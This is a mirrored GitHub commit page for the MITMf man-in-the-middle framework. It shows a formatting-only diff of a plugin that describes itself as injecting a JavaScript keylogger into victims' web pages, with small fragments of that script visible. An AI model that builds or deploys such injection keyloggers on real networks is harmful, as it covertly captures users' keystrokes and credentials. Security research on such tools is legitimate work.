mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 21:12:16 -07:00
code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib
This commit is contained in:
parent
e7cc6316f1
commit
73e7ca2f3d
17 changed files with 409 additions and 240 deletions
|
@ -2,14 +2,15 @@ from plugins.plugin import Plugin
|
|||
from plugins.Inject import Inject
|
||||
import logging
|
||||
|
||||
|
||||
class jskeylogger(Inject, Plugin):
|
||||
name = "Javascript Keylogger"
|
||||
optname = "jskeylogger"
|
||||
desc = "Injects a javascript keylogger into clients webpages"
|
||||
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"]
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
|
||||
has_opts = False
|
||||
|
||||
def initialize(self,options):
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
self.html_payload = self.msf_keylogger()
|
||||
print "[*] Javascript Keylogger plugin online"
|
||||
|
@ -105,4 +106,4 @@ if (var3 == 13 || var2.length > 3000)
|
|||
}
|
||||
</script>"""
|
||||
|
||||
return payload
|
||||
return payload
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue